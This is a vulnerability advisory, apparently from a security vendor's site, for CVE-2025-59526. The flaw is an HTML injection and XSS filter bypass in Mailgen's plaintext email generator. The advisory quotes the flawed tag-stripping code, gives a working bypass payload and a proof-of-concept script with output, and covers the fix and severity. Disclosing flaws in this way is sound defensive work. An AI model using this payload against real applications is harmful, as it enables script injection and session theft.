CVE-2025-59526

HTML Injection and XSS Filter Bypass in Plaintext Emails

An HTML injection vulnerability in plaintext emails generated by Mailgen has been discovered. Your project is affected if you use the Mailgen.generatePlaintext(email); method and pass in user-generated content. The issue was discovered and reported by Edoardo Ottavianelli (@edoardottt).

Vulnerability Analysis

The following function (inside index.js) is intended to strip all HTML content to produce a plaintext string.

// Plaintext text e-mail generator
Mailgen.prototype.generatePlaintext = function (params) {
    // Plaintext theme not cached?
    if (!this.cachedPlaintextTheme) {
        throw new Error('An error was encountered while loading the plaintext theme.');
    }
   
    // Parse email params and get back an object with data to inject
    var ejsParams = this.parseParams(params);

    // Render the plaintext theme with ejs, injecting the data accordingly
    var output = ejs.render(this.cachedPlaintextTheme, ejsParams);

    // Definition of the <br /> tag as a regex pattern
    var breakTag = /(?:\<br\s*\/?\>)/g;
    var breakTagPattern = new RegExp(breakTag);

    // Check the plaintext for html break tag, maintains backwards compatiblity
    if (breakTagPattern.test(this.cachedPlaintextTheme)) {
        // Strip all linebreaks from the rendered plaintext
        output = output.replace(/(?:\r\n|\r|\n)/g, '');

        // Replace html break tags with linebreaks
        output = output.replace(breakTag, '\n');

        // Remove plaintext theme indentation (tabs or spaces in the beginning of each line)
        output = output.replace(/^(?: |\t)*/gm, "");
    }

    // Strip all HTML tags from plaintext output
    output = output.replace(/<.+?>/g, '');

    // Decode HTML entities such as &copy;
    output = he.decode(output);

    // All done!
    return output;
};

The process fails because it first converts HTML break tags to newlines and then attempts to strip HTML tags with a regular expression. Using a break tag inside another HTML tag can deceive the filter, allowing HTML content to be injected into the email.

A valid payload is: <img<br> src=xyz onerror=alert(1)>.

Proof of Concept

var Mailgen = require('mailgen');

var mailGenerator = new Mailgen({
    theme: 'default',
    product: {
        name: 'Mailgen',
        link: 'https://mailgen.js/'
    }
});

var email = {
    body: {
        name: 'John <img<br> src=xyz onerror=alert(document.body.innerHTML)> Appleseed',
        intro: 'Welcome to Mailgen! We\'re very excited to have you on board.',
        action: {
            instructions: 'To get started with Mailgen, please click here:',
            button: {
                color: '#22BC66',
                text: 'Confirm your account',
                link: 'secret-link'
            }
        },
        outro: 'Need help, or have questions? Just reply to this email, we\'d love to help.'
    }
};

// Generate the plaintext version of the e-mail
var emailText = mailGenerator.generatePlaintext(email);

// Optionally, preview the generated plaintext e-mail
require('fs').writeFileSync('emailText.txt', emailText, 'utf8');

Resulting output file (emailText.txt):

Hi John <img
src=xyz onerror=alert(document.body.innerHTML)> Appleseed,

Welcome to Mailgen! We're very excited to have you on board.        

To get started with Mailgen, please click here:        
secret-link            

Need help, or have questions? Just reply to this email, we'd love to help.        

Yours truly,  
Mailgen

© 2025 Mailgen. All rights reserved.

Mitigation

The vulnerability has been patched in commit 741a019 and released to npm in version 2.0.30.

Thanks to Edoardo Ottavianelli (@edoardottt) for discovering and reporting this vulnerability.

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2025-59526 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.0.30); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2025-59526? CVE-2025-59526 is a medium-severity cross-site scripting (XSS) vulnerability in mailgen (npm), affecting versions < 2.0.30. It is fixed in 2.0.30. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
2. How severe is CVE-2025-59526? CVE-2025-59526 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of mailgen are affected by CVE-2025-59526? mailgen (npm) versions < 2.0.30 is affected.
4. Is there a fix for CVE-2025-59526? Yes. CVE-2025-59526 is fixed in 2.0.30. Upgrade to this version or later.
5. Is CVE-2025-59526 exploitable, and should I be worried? Whether CVE-2025-59526 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-59526 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-59526? Upgrade mailgen to 2.0.30 or later.